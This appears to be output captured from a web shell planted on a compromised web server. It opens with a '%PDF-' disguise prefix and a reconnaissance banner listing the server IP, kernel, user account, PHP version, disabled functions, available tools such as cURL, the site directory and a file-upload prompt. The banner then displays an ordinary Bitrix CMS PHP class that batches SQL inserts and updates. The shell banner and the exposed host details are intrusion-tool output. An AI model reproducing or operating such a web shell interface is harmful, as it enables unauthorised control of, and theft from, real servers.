%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.218.37.5 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage sender * @copyright 2001-2012 Bitrix */ namespace Bitrix\Sender\Internals; use Bitrix\Main\Localization\Loc; use Bitrix\Main\Application; use Bitrix\Main\Type\DateTime; Loc::loadMessages(__FILE__); /** * Class SqlBatch * @package Bitrix\Sender\Internals */ class SqlBatch { /** * Return true if batch fulled. * * @param array $list List. * @param integer $limit Batch limit. * @return array */ public static function divide(array $list, $limit = 300) { $length = count($list); if ($length < $limit) { return array($list); } $result = array(); $partsCount = ceil($length / $limit); for ($index = 0; $index < $partsCount; $index++) { $result[$index] = array_slice($list, $limit * $index, $limit); } return $result; } /** * Get string for sql-IN. * * @param array $values Values. * @return string */ public static function getInString(array $values) { $conHelper = Application::getConnection()->getSqlHelper(); foreach($values as $index => $value) { $values[$index] = $conHelper->forSql($value); } return "'" . implode("', '", $values) . "'"; } /** * Update. * * @param string $tableName Table name. * @param array $fields Fields. * @return void */ public static function update($tableName, array $fields) { $ids = []; $sets = []; foreach ($fields as $item) { if (!isset($item['ID']) || !$item['ID']) { continue; } $id = (int) $item['ID']; if ($id <= 0) { continue; } $ids[] = $id; unset($item['ID']); foreach ($item as $key => $value) { if (!isset($sets[$key])) { $sets[$key] = []; } $sets[$key][$id] = $value; } } if (count($ids) <= 0 || count($sets) <= 0) { return; } $conHelper = Application::getConnection()->getSqlHelper(); $ids = implode(',', $ids); $stringSets = []; foreach ($sets as $key => $values) { $stringSet = ""; foreach ($values as $id => $value) { $value = $conHelper->forSql($value); $stringSet .= "\nWHEN ID = $id THEN \"$value\""; } $stringSet = "\n$key = CASE $stringSet ELSE $key END"; $stringSets[] = $stringSet; } $stringSets = implode(', ', $stringSets) . "\n"; $sql = "UPDATE $tableName SET $stringSets WHERE ID in ($ids)"; Application::getConnection()->query($sql); } /** * Insert. * * @param string $tableName Table name. * @param array $fields Fields. * @param array $onDuplicateUpdateFields Duplicate update fields. * @return void */ public static function insert($tableName, array $fields, array $onDuplicateUpdateFields = array()) { $columnNames = self::getFieldNames($fields); if (count($columnNames) == 0) { return; } $columnNamesString = implode(", ", $columnNames); $dataListString = implode('),(', self::getFieldValues($fields)); $sql = "INSERT IGNORE $tableName($columnNamesString) VALUES($dataListString)"; if (!empty($onDuplicateUpdateFields)) { $sqlUpdateFields = array(); foreach ($onDuplicateUpdateFields as $field) { if (is_array($field)) { $fieldName = $field['NAME']; $fieldValue = $field['VALUE']; } else { $fieldName = $field; $fieldValue = "IFNULL(VALUES($fieldName), $fieldName)"; } if (!in_array($fieldName, $columnNames)) { continue; } $sqlUpdateFields[] = "$fieldName = $fieldValue"; } if (count($sqlUpdateFields) > 0) { $sql .= " ON DUPLICATE KEY UPDATE " . implode(", ", $sqlUpdateFields); } } Application::getConnection()->query($sql); } private static function getFieldNames(array &$fields) { foreach ($fields as $items) { return array_keys($items); } return array(); } private static function getFieldValues(array &$fields) { $dataList = array(); $conHelper = Application::getConnection()->getSqlHelper(); foreach ($fields as $items) { $values = array(); foreach ($items as $key => $value) { switch (gettype($value)) { case 'array': $value = $value['VALUE']; break; case 'integer': break; case 'object': if ($value instanceof DateTime) { $value = $conHelper->convertToDbDateTime($value); } break; case 'NULL': $value = 'NULL'; break; case 'string': default: $value = (string) $value; $value = $conHelper->forSql($value); $value = '"' . $value . '"'; break; } $values[] = $value; } $dataList[] = implode(", ", $values); } return $dataList; } }